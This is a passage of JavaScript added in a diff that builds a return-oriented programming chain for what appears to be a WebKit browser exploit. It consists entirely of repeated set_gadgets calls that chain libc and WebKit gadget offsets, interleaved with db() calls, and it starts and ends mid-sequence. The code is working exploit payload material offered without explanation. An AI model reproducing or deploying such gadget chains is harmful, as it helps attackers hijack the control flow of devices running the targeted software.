+webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259312, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259384, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259456, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259528, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259600, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259672, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259744, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259816, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259888, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259960, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260032, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260104, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260176, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260248, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260320, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260392, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260464, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260536, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260608, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260680, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260752, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260824, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260896, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+260968, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261040, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261112, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261184, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261256, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261328, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261400, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261472, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261544, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261616, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261688, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261760, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261832, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261904, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+261976, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262048, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262120, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262192, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262264, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262336, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262408, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262480, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262552, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262624, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262696, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262768, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262840, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262912, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+262984, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263056, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263128, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263200, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263272, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263344, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263416, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263488, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263560, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263632, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263704, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263776, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263848, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263920, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+263992, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264064, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264136, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264208, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264280, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264352, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264424, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264496, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264568, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264640, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264712, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264784, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264856, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+264928, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265000, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265072, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265144, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265216, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265288, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265360, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265432, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265504, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265576, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265648, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265720, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265792, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265864, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+265936, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266008, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266080, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266152, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266224, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266296, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266368, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266440, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266512, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266584, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266656, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266728, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266800, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266872, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+266944, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267016, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267088, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267160, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267232, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267304, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267376, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267448, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267520, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267592, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267664, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267736, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267808, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267880, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+267952, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268024, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268096, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268168, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268240, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268312, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268384, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268456, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268528, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268600, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268672, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268744, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268816, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268888, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+268960, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269032, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269104, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269176, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269248, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269320, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269392, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269464, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269536, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269608, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+269680, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); 